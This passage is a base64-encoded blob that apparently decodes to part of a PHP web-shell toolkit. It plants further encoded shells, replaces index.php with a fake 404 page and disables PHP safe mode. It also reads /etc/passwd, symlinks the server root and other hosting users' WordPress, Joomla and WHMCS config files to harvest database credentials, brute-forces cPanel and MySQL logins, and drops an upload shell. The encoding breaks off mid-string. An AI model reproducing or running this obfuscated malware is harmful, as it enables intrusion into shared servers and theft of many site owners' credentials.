GhTTW10MlkzVk1LM1JxV0haRWRVOXpaR1UwYlV0WWNFMW1RalZxWm05c2RtUktibXhIZEVsTVExVllURU5LV0V4bWIyRTBablJzTjNSS1QyeEhkVzVUWkRKUGJIZGxNRWxqWW1sWVpHODVUR05WU1V4RFZWaE1abTloTkdaMFREZDBTazlzUjNWdVUyUXlUMngzWlRCSlkySnBXR1J2T1V4alZVbE1RMHBZVEdOaWFWaGtiemxNWTJGVGVHSlZURGQwYld0c1puVmhXbVJLUlV4alltbFlaRzg1VEdOaFUxaGlWRk5vWjFkd1RXWkNOV3BtYjJ4MlpFcHVVMlF5Wm5Ca1NrbE1abUpaYkVaS1dFeEdiM2w2Umxwc04zUktUMnAzWlRCSlYyOHhOVVl6ZVZOaU1sbDJaRTAxYkVNelYxQnJNbmgyUXpKNVUwUnZPWHBtZEVaVGEzVmhlbU5pZDFOcmRXNXBSak5JY0V0WWNIQmpTa2xNUTFwc04zUk5NVFZHTTNsVFlqSlpVMlF6V1d4b2RFOXFhRlJUYUVaTllUQm1ZbXRXZDNWUFdtWkNRVGQwYlRGc1pIVlpiRWRZY0ZwallrOHhSazAwU1dOTmVWTkdNa0UzZEcwd2FHZFhjRTFtUWpWcVptOXNkbVJLYm0xallrOW5ZMjk1TUVOVlNVeG1ZbXRUYUdKVGFHdHZlVnAzWlRCSlEySnJXa05pVEZCcmVuSldablZwTUd0YVdHMUlTalV3UjNWWGJWSjBSbnBTYlU4MFpuUkdVMnQ2VjFabWRXa3dhMXBZYlZsVk5UQkhkVmR0VW5SR01sSnRUelJtZEVaVGEzcEdWbVoxYVRCcldsaHRTM1ExTUVkMVYyMVNkRVkxVW0xUE5HWjBSbE5yZWtWV1puVnBNR3RhVERkMFNrOTZSazFJU1U1VmJrMUVRbmhzWWpKbWJHWjVPV3BrTWpVd1kwSTFNRVphU1V4bVltdFRhRlJUYUd0dlkzQmtiMkY2ZDJVd1NXTmlhVmhrYnpsTVkxVkpiVTV2Y2tsRWRXdHNZMm93U210YVdFeEdNMnRxYUZSVGFHdHZUMmxtYjNKSlRsVnVhVVp0YTJsSFZVbHdTMWh3VFdRemEyeERRbGxRYUhSUFRVUkNlR3hHV201cFJscEZURVJDVnpsT1NrOU5SRUo0YkdoaVUyaEVRa05RYTI5c1RIZGxNRGwzWlVWd1IxaHdhbVF5TlRCRVFqVXhZMVJUYUdkWFVFeGpUV3hUWTFWRk9YZHZZVFJHYjNoMlkyOUJVR3RhZHl0cldsaE1ZMDFzVTJOVlREZDBTazlOUkVKNGJIZGxNRWxtZFd0d1pGVkpUR05OYkZOallWTllZbFZNTjNSTmJFMW9kSGxzUmsxaGJVUlZTVzFTYlU4MFpuUkdVMnR2WTNCa2IwRndhR0pUYUVNeU9WWm1iMnhXWmtKQk4zUnRNR2hyZFZsYVExcEZPWGR2WTNCa2IyRm5ZekpoTUdJeVdYWmtiVTlzWkcxUGVtaDBkMHhtWW10VFVscFBUVVJDZUd4M1NrdzNkRTFzVFdoMGNreEdNMnRxYUdKVGFFTXlPVlptYjJ4V1prSkJOM1J0TUdocmRXRjZZMkozU1U1VmJucG1kV3RuUmsxaFdHUnZlV3BqVlVsTVEySjNVMnRhUmxOcmIyTndaRzlCY0V0WVVFeG1ZbGxzUmtwRk9YZDFXVEJHYkRsYVkySnVVME5DV1d4b2RFOXBSa3BZYld0YVdFeG1ZbGxzUmtvMGJWSnRUelJtZEVad1MxaFFUR1ppV1d4R1NrVTVkM1ZaTUVac09WcGpZbTVUUTBKWmJHaDBUMmxHU2xodGExcFlUR1ppV1d4R1NqUnRVbTFQTkdaMFJuQkxXRkJNWm1KWmJFWktSVGwzZFU5YVJFSXdVRVl6VDFwaU0ydHNSbTk0YVVNeVFWQnJXalV3UjNWWGJWSjBSbTFTZEU4eFJqSmhXbWhWVERkMFRXeE5hRzloV21OQ1puQm9kR3RpWkROclRFRjFhMnhHTTBoS1VuUlBla1pOU0hCb1lsTm9hM1Z1YVVZelNFbE9WVzVzUjNSSlNtTnZZVTFFUWpWc2FIUm1jbGRzT1ZkWFlWbFVZVEE1VlU5MFJsTjNkRVpLVW5SM2JXaFVVMHBTZEU5NlJrMUljRXRZVUV4amIza3dRMkZ6Wm5kbE1FbERZbXRhUTJKTVVHdDFZWHBqWW5kVGEzVnVhVVl6U0hCTFdIQTVZMEo0ZW1OaVUyaHJkVTkyUkRKaFZrWmFSVGwzZFU5MlJESmhWbUl5Wm14bWVUbHBaRzlZVUd0MVdWcERXa3czZEUxamRrWk5ZV2xETWtsUWEzVlBka1F5WVZaR1dtNXBSbHBGVEdadk9YRmpRalJ3UjFod2NHTktTV2xyZFU5MlJESmhWa0o2ZVdab1lsTm9Rekk1Vm1admJGWm1Ra0UzZEcwd2FHdDFUM1pFTW1GV1pFMTVjMk5WUlRsM2RVOTJSREpoVm1JeU5XbGtRa0ZRYTNWUGRrUXlZVlpDZW01bWFGUlRhRVJDUTFCcmRVOTJSREpoVm1STmVYTmpWVVZwVGxWRmJXRjVPVUpYWVd0clYwRnJTRTlWUm5CSFdIQnFaREkxTUVSQ05URmpWRk5vWjFkUVRHWk5lVnAzWlRCSmEzVlBka1F5WVZaQ2VubG1TMWh3Y0dOS2FXeEdUV0Z0UkZWSmJVWnZlWHBHV2taVGEzVmphVVpLVEhCSFdGQk1ZMHBGT1hkMVdUQkdiRGxhWTJKdVUwTkNXV3hvZEVaSmExcFliV3RhZUd4SGRFbE1aazE1V2xKMFJqZHJXbGhNUmpOcmFtaFZURGQwU2s5cGQyVXdTV1oxYTNCa1ZXbHNSM1JKU2s1VlJrcFNkSGR0ZDBwWVRHTktUSEJMV0ZCTVEwcEZPWGQxVDFwRVFqQlFZMkpKVUd0YWQyMVNkRVpLYTFwWVRHTktUSEJMV0hCd1kwcEpURU5WUldsT1ZVVnRhMXBzTjNSS1QxaERZbGw2ZDJVd1NXdHZjamQwYlRGc1pIVlpiRVJDUTFCcmIzZEpkMVF3U1d0YVJuQkhXRkJNUm05NWVrWmFSVGwzZEU5S1MxaHdPWFJOYkUxb2RFOVlRMkpaZW5kbE1EbDNkRVp0YUdKVGFFTXlPVlptYjJ4V1prSkJOM1J0TUdocmIwOXBabTk1WkdKVlJUbDNiM2xhUmsxNU5XaDBUekZHTW1GYVVuUlBXRU5pV1hwb1ZGTm9aMWR3T1hSdE1HaG5WM0JhWTJKUE1VWk5ORWxyYjA5cFptOXlOM1J0TUdoTFdEMDlZV3hXYmxKUVNYRT0nOyAKJGZpbGUgPSBmb3BlbigiYmhjLnBocCIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjb25mc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJiaGMucGhwIiwgMDY0NCk7CiRpbmRleHNoZWxsID0gZm9wZW4oImluZGV4LnBocCIgLCJ3KyIpOwokZGF0YSA9ICdQR2d4UGs1dmRDQkdiM1Z1WkR3dmFERStJQTBLUEhBK1ZHaGxJSEpsY1hWbGMzUmxaQ0JWVWt3Z2QyRnpJRzV2ZENCbWIzVnVaQ0J2YmlCMGFHbHpJSE5sY25abGNpNDhMM0ErSUEwS1BHaHlQaUFOQ2p4aFpHUnlaWE56UGtGd1lXTm9aU0JUWlhKMlpYSWdZWFFnUEQ4OUpGOVRSVkpXUlZKYkowaFVWRkJmU0U5VFZDZGRQejRnVUc5eWRDQTRNRHd2WVdSa2NtVnpjejRnRFFvZ0lDQWdQSE4wZVd4bFBpQU5DaUFnSUNBZ0lDQWdhVzV3ZFhRZ2V5QnRZWEpuYVc0Nk1EdGlZV05yWjNKdmRXNWtMV052Ykc5eU9pTm1abVk3WW05eVpHVnlPakZ3ZUNCemIyeHBaQ0FqWm1abU95QjlJQTBLSUNBZ0lEd3ZjM1I1YkdVKyc7CiR0dWxpcyA9IGZ3cml0ZSggJGluZGV4c2hlbGwsIGJhc2U2NF9kZWNvZGUoJGRhdGEpKTsKZmNsb3NlKCRpbmRleHNoZWxsKTsKICAgZWNobyAiPGlmcmFtZSBzcmM9YmNvbmZpZy9iaGMucGhwIHdpZHRoPTk3JSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiI7IApicmVhazsKCiMjIyMjIyMjIyMjIyMjIyNDTVMgREVURUNUT1IKY2FzZSAnY29uZmlnJzsKJGJ5cGhwID0gInNhZmVfbW9kZSA9IE9mZgoJCWRpc2FibGVfZnVuY3Rpb25zID0gTm9uZQoJCSI7CmZpbGVfcHV0X2NvbnRlbnRzKCJwaHAuaW5pIiwkYnlwaHApOwoKZWNobyAnPENFTlRFUj48Yj4rLS09WyBDb25maWcgcHJpdjggXT0tLSs8L2I+PGJyPjxicj4nOwo/PgoKPGJSPjxmb3JtIG1ldGhvZD1wb3N0PgoJPHRleHRhcmVhIHJvd3M9MjAgY29scz04NSBuYW1lPXVzZXI+PD9waHAgICR1c2Vycz1maWxlKCIvZXRjL3Bhc3N3ZCIpOwpmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKewokc3RyPWV4cGxvZGUoIjoiLCR1c2VyKTsKZWNobyAkc3RyWzBdLiJcbiI7Cn0KCj8+PC90ZXh0YXJlYT48YnI+Cgk8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdSB2YWx1ZT0iTGV0cyBTdGFydCIgLz48L2Zvcm0+PC9DRU5URVI+Cgk8P3BocAoJZXJyb3JfcmVwb3J0aW5nKDApOwoJZWNobyAiPGZvbnQgY29sb3I9IzAwZmYgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IjsKCWlmKGlzc2V0KCRfUE9TVFsnc3UnXSkpCgl7Cglta2RpcignSW5qZWN0JywwNzc3KTsKJHJyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwokZyA9IGZvcGVuKCdJbmplY3QvLmh0YWNjZXNzJywndycpOwpmd3JpdGUoJGcsJHJyKTsKJGluZGlzaGVsbCA9IHN5bWxpbmsoIi8iLCJJbmplY3Qvcm9vdCIpOwoJCSAgICAkcnQ9IjxhIGhyZWY9SW5qZWN0L3Jvb3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IE93TjNkPC9mb250PjwvYT4iOwogICAgICAgIGVjaG8gIlBsZWFzZSBjaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj48dT4kcnQ8L3U+IjsKCQkKCQkkZGlyPW1rZGlyKCdJTkpFQ1RJT04nLDA3NzcpOwoJCSRyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwogICAgICAgICRmID0gZm9wZW4oJ0lOSkVDVElPTi8uaHRhY2Nlc3MnLCd3Jyk7CiAgIAogICAgICAgIGZ3cml0ZSgkZiwkcik7CiAgICAgICAgJGNvbnN5bT0iPGEgaHJlZj1JTkpFQ1RJT04vPjxmb250IGNvbG9yPXdoaXRlIHNpemU9MyBmYWNlPVwiY29taWMgc2FucyBtc1wiPmNvbmZpZ3VyYXRpb24gZmlsZXM8L2ZvbnQ+PC9hPiI7CiAgICAgICAJZWNobyAiPGJyPlRoZSBsaW5rIGdpdmVuIGJlbG93IGZvciBjb25maWd1cmF0aW9uIGZpbGUgc3ltbGluay4uLm9wZW4gaXQsIG9uY2UgcHJvY2Vzc2luZyBmaW5pc2ggPGJyPjx1Pjxmb250IGNvbG9yPXJlZCBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj4kY29uc3ltPC9mb250PjwvdT4iOwogICAgICAgCQogICAgICAgCQkkdXNyPWV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXInXSk7CiAgICAgICAJJGNvbmZpZ3VyYXRpb249YXJyYXkoIndwLWNvbmZpZy5waHAiLAoJCSJ3b3JkcHJlc3Mvd3AtY29uZmlnLnBocCIsCgkJIndlYi93cC1jb25maWcucGhwIiwKCQkid3Avd3AtY29uZmlnLnBocCIsCgkJInByZXNzL3dwLWNvbmZpZy5waHAiLAoJCSJ3b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwIiwKCQkibmV3cy93cC1jb25maWcucGhwIiwKCQkibmV3L3dwLWNvbmZpZy5waHAiLAoJCSJibG9ncy93cC1jb25maWcucGhwIiwKCQkiaG9tZS93cC1jb25maWcucGhwIiwKCQkiYmxvZy93cC1jb25maWcucGhwIiwKCQkicHJvdGFsL3dwLWNvbmZpZy5waHAiLAoJCSJzaXRlL3dwLWNvbmZpZy5waHAiLAoJCSJtYWluL3dwLWNvbmZpZy5waHAiLAoJCSJ0ZXN0L3dwLWNvbmZpZy5waHAiLAoJCSJ3cC9iZXRhL3dwLWNvbmZpZy5waHAiLAoJCSJiZXRhL3dwLWNvbmZpZy5waHAiLAoJCSJqb29tbGEvY29uZmlndXJhdGlvbi5waHAiLAoJCSJwcm90YWwvY29uZmlndXJhdGlvbi5waHAiLAoJCSJqb28vY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbXMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJzaXRlL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkibWFpbi9jb25maWd1cmF0aW9uLnBocCIsCgkJIm5ld3MvY29uZmlndXJhdGlvbi5waHAiLAoJCSJuZXcvY29uZmlndXJhdGlvbi5waHAiLAoJCSJob21lL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiY29uZmlndXJhdGlvbi5waHAiLAoJCSJTU0kucGhwIiwKCQkiZm9ydW0vU1NJLnBocCIsCgkJImZvcnVtL2luYy9jb25maWcucGhwIiwKCQkiZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJInVwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwIiwKCQkiY2MvaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJInZiL2luY2x1ZGVzL2NvbmZpZy5waHAiLAoJCSJ2YjMvaW5jbHVkZXMvY29uZmlnLnBocCIsCgkJImNwYW5lbC9jb25maWd1cmF0aW9uLnBocCIsCgkJInBhbmVsL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkidWJtaXR0aWNrZXQucGhwIiwKCQkibWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkibXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYmV0YS9jb25maWd1cmF0aW9uLnBocCIsCgkJImluY2x1ZGVzL2NvbmZpZy5waHAiLAoJCSJsaWIvY29uZmlnLnBocCIsCgkJImNvbmZfZ2xvYmFsLnBocCIsCgkJImluYy9jb25maWcucGhwIiwKCQkiaW5jbC9jb25maWcucGhwIiwKCQkiaW5jbHVkZS9kYi5waHAiLAoJCSJpbmNsdWRlL2NvbmZpZy5waHAiLAoJCSJpbmNsdWRlcy9mdW5jdGlvbnMucGhwIiwKCQkiaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiwKCQkiY29ubmVjdC5waHAiLAoJCSJta19jb25mLnBocCIsCgkJImNvbmZpZy9rb25la3NpLnBocCIsCgkJInN5c3RlbS9zaXN0ZW0ucGhwIiwKCQkiY29uZmlnLnBocCIsCgkJIlNldHRpbmdzLnBocCIsCgkJInNldHRpbmdzLnBocCIsCgkJInNpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiwKCQkic21mL1NldHRpbmdzLnBocCIsCgkJImZvcnVtL1NldHRpbmdzLnBocCIsCgkJImZvcnVtcy9TZXR0aW5ncy5waHAiLAoJCSJob3N0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCIsCgkJImhvc3RzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiLAoJCSJzaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIsCgkJIndobS9jb25maWd1cmF0aW9uLnBocCIsCgkJIndobWMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJ3aG1jcy9jb25maWd1cmF0aW9uLnBocCIsCgkJIndobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkid2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkid2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkib3JkZXIvY29uZmlndXJhdGlvbi5waHAiLAoJCSJzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkic3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJvc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiLAoJCSJvc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwIiwKCQkic2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCIsCgkJInNhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCIsCgkJImNvbmZpZy5pbmMucGhwIiwKCQkiYW1lbWJlci9jb25maWcuaW5jLnBocCIsCgkJImNsaWVudHMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnQvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCIsCgkJImNsaWVudGUvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCIsCgkJImJpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYWRtaW4vY29uZi5waHAiLAoJCSJhZG1pbi9jb25maWcucGhwIik7CgkJZm9yZWFjaCgkdXNyIGFzICR1c3MgKQoJCXsKCQkJJHVzPXRyaW0oJHVzcyk7CgkJCQkJCQoJCQlmb3JlYWNoKCRjb25maWd1cmF0aW9uIGFzICRjKQoJCQl7CgkJCSAkcnM9Ii9ob21lLyIuJHVzLiIvcHVibGljX2h0bWwvIi4kYzsKCQkJICRyPSJJTkpFQ1RJT04vIi4kdXMuIiAuLiAiLiRjOwoJCQkgc3ltbGluaygkcnMsJHIpOwoJCQkKCQl9CgkJCQoJCQl9CgkJCgkJCgkJfQpicmVhazsKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KY2FzZSdmaWxlJzsKCgpicmVhazsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCmNhc2UgJ2JydXRlJzs/Pgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPD9waHAKLyoKUmVjb2RlZCBCeSBWYWoxIFYxcnVzCiovCkBzZXRfdGltZV9saW1pdCgwKTsKQGVycm9yX3JlcG9ydGluZygwKTsKCgppZigkX1BPU1RbJ3BhZ2UnXT09J2ZpbmQnKQp7CmlmKGlzc2V0KCRfUE9TVFsndXNlcm5hbWVzJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzc3dvcmRzJ10pKQp7CiAgICBpZigkX1BPU1RbJ3R5cGUnXSA9PSAncGFzc3dkJyl7CiAgICAgICAgJGUgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VybmFtZXMnXSk7CiAgICAgICAgZm9yZWFjaCgkZSBhcyAkdmFsdWUpewogICAgICAgICRrID0gZXhwbG9kZSgiOiIsJHZhbHVlKTsKICAgICAgICAkdXNlcm5hbWUgLj0gJGtbJzAnXS4iICI7CiAgICAgICAgfQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7CiAgICAgICAgJHVzZXJuYW1lID0gc3RyX3JlcGxhY2UoIlxuIiwnICcsJF9QT1NUWyd1c2VybmFtZXMnXSk7CiAgICB9CiAgICAkYTEgPSBleHBsb2RlKCIgIiwkdXNlcm5hbWUpOwogICAgJGEyID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsncGFzc3dvcmRzJ10pOwogICAgJGlkMiA9IGNvdW50KCRhMik7CiAgICAkb2sgPSAwOwogICAgZm9yZWFjaCgkYTEgYXMgJHVzZXIgKQogICAgewogICAgICAgIGlmKCR1c2VyICE9PSAnJykKICAgICAgICB7CiAgICAgICAgJHVzZXI9dHJpbSgkdXNlcik7CiAgICAgICAgIGZvcigkaT0wOyRpPD0kaWQyOyRpKyspCiAgICAgICAgIHsKICAgICAgICAgICAgJHBhc3MgPSB0cmltKCRhMlskaV0pOwogICAgICAgICAgICBpZihAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlciwkcGFzcykpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGVjaG8gIlgnVmFqMSBWMXJ1cyB+IHVzZXIgaXMgKDxiPjxmb250IGNvbG9yPWdyZWVuPiR1c2VyPC9mb250PjwvYj4pIFBhc3N3b3JkIGlzICg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kcGFzczwvZm9udD48L2I+KTxiciAvPiI7CiAgICAgICAgICAgICAgICAkb2srKzsKICAgICAgICAgICAgfQogICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgZWNobyAiPGhyPjxiPllvdSBGb3VuZCA8Zm9udCBjb2xvcj1ncmVlbj4kb2s8L2ZvbnQ+IENwYW5lbCBieSBWYWoxIFYxcnVzPC9iPiI7CiAgICBlY2hvICI8Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPjw8IEJBQ0s8L2E+IjsKICAgIGV4aXQ7Cn0KfQppZigkX1BPU1RbJ3Bhc3MnXT09J3Bhc3N3b3JkJyl7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CiRpID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOwokZCA9IGRhdGUoJ0QsIE0galMsIFkgSDppJyx0aW1lKCkpOwokaCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJGRpcj0kX1NFUlZFUlsnUEhQX1NFTEYnXTsKJGJhY2sgPSAiUEQ5d2FIQU5DbVZqYUc4Z0p6eG1iM0p0SUdGamRHbHZiajBpSWlCdFpYUm9iMlE5SW5CdmMzUWlJR1Z1WTNSNWNHVTlJbTExYkhScGNHRnlkQzltYjNKdExXUmhkR0VpSUc1aGJXVTlJblZ3Ykc5aFpHVnlJaUJwWkQwaWRYQnNiMkZrWlhJaVBpYzdEUXBsWTJodklDYzhhVzV3ZFhRZ2RIbHdaVDBpWm1sc1pTSWdibUZ0WlQwaVptbHNaU0lnYzJsNlpUMGlOVEFpUGp4cGJuQjFkQ0J1WVcxbFBTSmZkWEJzSWlCMGVYQmxQU0p6ZFdKdGFYUWlJR2xrUFNKZmRYQnNJaUIyWVd4MVpUMGlWWEJzYjJGa0lqNDhMMlp2Y20wK0p6c05DbWxtS0NBa1gxQlBVMVJiSjE5MWNHd25YU0E5UFNBaVZYQnNiMkZrSWlBcElIc05DbWxtS0VCamIzQjVLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3dnSkY5R1NVeEZVMXNuWm1sc1pTZGRXeWR1WVcxbEoxMHBLU0I3SUdWamFHOGdKenhpUGt0dmNtRnVaeUJFWVdnZ1FtVnlhbUY1WVNCVmNHeHZZV1FnVTJobGJHd2dTMjl5WVc1bklTRWhQR0krUEdKeVBqeGljajRuT3lCOURRcGxiSE5sSUhzZ1pXTm9ieUFuUEdJK1MyOXlZVzVuSUVkaFoyRnNJRlZ3Ykc5aFpDQlRhR1ZzYkNCTGIzSmhibWNoSVNFOEwySStQR0p5UGp4aWNqNG5PeUI5RFFwOURRby9QZz09IjsKJGZpbGUgPSBmb3BlbigiLnBocCIsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGJhY2spKTsKZmNsb3NlKCRmaWxlKTsKY2htb2QoIi5waHAiLDA3NTUpOwpta2RpcignY29uZmlnJywwNzU1KTsKJGNwID0KJ0l5RXZkWE55TDJKcGJpOWxibllnY0hsMGFHOXVEUW9OQ2ljbkp3MEtRbms2SUVGb2JXVmtJRk5vWVhkcmVTQmhhMkVnYkc1NFp6TXphdzBLZEdoNE9pQlBZbnA1TENCU1pXeHBheXdnYlc5b1lXSWdZVzVrSUNOaGNtRmljSGR1SUEwS0p5Y25EUW9OQ21sdGNHOXlkQ0J6ZVhNTkNtbHRjRzl5ZENCdmN3MEthVzF3YjNKMElISmxEUXBwYlhCdmNuUWdjM1ZpY0hKdlkyVnpjdzBLYVcxd2IzSjBJSFZ5Ykd4cFlnMEthVzF3YjNKMElHZHNiMklOQ21aeWIyMGdjR3hoZEdadmNtMGdhVzF3YjNKMElITjVjM1JsYlEwS0RRcHBaaUJzWlc0b2MzbHpMbUZ5WjNZcElDRTlJRE02RFFvZ0lIQnlhVzUwSnljbkNRMEtJRlZ6WVdkbE9pQWxjeUJiVlZKTUxpNHVYU0JiWkdseVpXTjBiM0o1TGk0dVhRMEtJRVY0S1NBbGN5Qm9kSFJ3T2k4dmQzZDNMblJsYzNRdVkyOXRMM1JsYzNRdklGdGthWElnTGk0dVhTY25KeUFsSUNoemVYTXVZWEpuZGxzd1hTd2djM2x6TG1GeVozWmJNRjBwRFFvZ0lITjVjeTVsZUdsMEtERXBEUW9OQ25OcGRHVWdQU0J6ZVhNdVlYSm5kbHN4WFEwS1ptOTFkQ0E5SUhONWN5NWhjbWQyV3pKZERRb05DblJ5ZVRvTkNpQWdjbVZ4SUNBOUlIVnliR3hwWWk1MWNteHZjR1Z1S0hOcGRHVXBEUW9nSUhKbFlXUWdQU0J5WlhFdWNtVmhaQ2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkTWFXNTFlQ2M2RFFvZ0lDQWdaaUE5SUc5d1pXNG9KeTkwYlhBdlpHRjBZUzUwZUhRbkxDQW5keWNwRFFvZ0lDQWdaaTUzY21sMFpTaHlaV0ZrS1EwS0lDQWdJR1l1WTJ4dmMyVW9LUTBLSUNCcFppQnplWE4wWlcwb0tTQTlQU0FuVjJsdVpHOTNjeWM2RFFvZ0lDQWdaaUE5SUc5d1pXNG9KMlJoZEdFdWRIaDBKeXdnSjNjbktTQWdEUW9nSUNBZ1ppNTNjbWwwWlNoeVpXRmtLUTBLSUNBZ0lHWXVZMnh2YzJVb0tRMEtEUW9nSUdrZ1BTQXdEUW9nSUdsbUlITjVjM1JsYlNncElEMDlJQ2RNYVc1MWVDYzZEUW9nSUNBZ1ppQTlJRzl3Wlc0b0p5OTBiWEF2WkdGMFlTNTBlSFFuTENBbmNsVW5LUTBLSUNBZ0lHWnZjaUJzYVc1bElHbHVJR1k2RFFvZ0lDQWdJQ0JwWmlCc2FXNWxMbk4wWVhKMGMzZHBkR2dvSnp4c2FUNDhZU2NwSUQwOUlGUnlkV1VnT2cwS0lDQWdJQ0FnSUNCdElEMGdjbVV1YzJWaGNtTm9LSEluS0R4aElHaHlaV1k5SWlrb0xpdGJYajVkS1NnaVBpa25MQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBJQ3M5SURFTkNpQWdJQ0FnSUNBZ2JHOWpZV3hmYm1GdFpTQTlJQ2NsY3k5bWFXeGxKV1F1ZEhoMEp5QWxJQ2htYjNWMExDQnBLUTBLSUNBZ0lDQWdJQ0J3Y21sdWRDQW5VbVYwY21sbGRtbHVaeTR1TGx4MFhIUW5MQ0J6YVhSbElDc2diUzVuY205MWNDZ3lLUTBLSUNBZ0lDQWdJQ0IwY25rNklDQjFjbXhzYVdJdWRYSnNjbVYwY21sbGRtVW9jMmwwWlNBcklHMHVaM0p2ZFhBb01pa3NJR3h2WTJGc1gyNWhiV1VwRFFvZ0lDQWdJQ0FnSUdWNFkyVndkQ0JKVDBWeWNtOXlPZzBLSUNBZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RjYmxzbGMxMGdaRzlsYzI1Y0ozUWdaWGhwYzNRc0lHTnlaV0YwWlNCcGRDQm1hWEp6ZENjZ0pTQm1iM1YwRFFvZ0lDQWdJQ0FnSUNBZ2MzbHpMbVY0YVhRb0tRMEtJQ0FnSUNBZ2FXWWdiR2x1WlM1emRHRnlkSE4zYVhSb0tDYzhhVzFuSnlrZ1BUMGdWSEoxWlRvTkNpQWdJQ0FnSUNBZ2JURWdQU0J5WlM1elpXRnlZMmdvY2ljb1BHRWdhSEpsWmowaUtTZ3VLMXRlUGwwcEtDSStLU2NzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2tnS3owZ01RMEtJQ0FnSUNBZ0lDQnNiMk5oYkY5dVlXMWxJRDBnSnlWekwyWnBiR1VsWkM1MGVIUW5JQ1VnS0dadmRYUX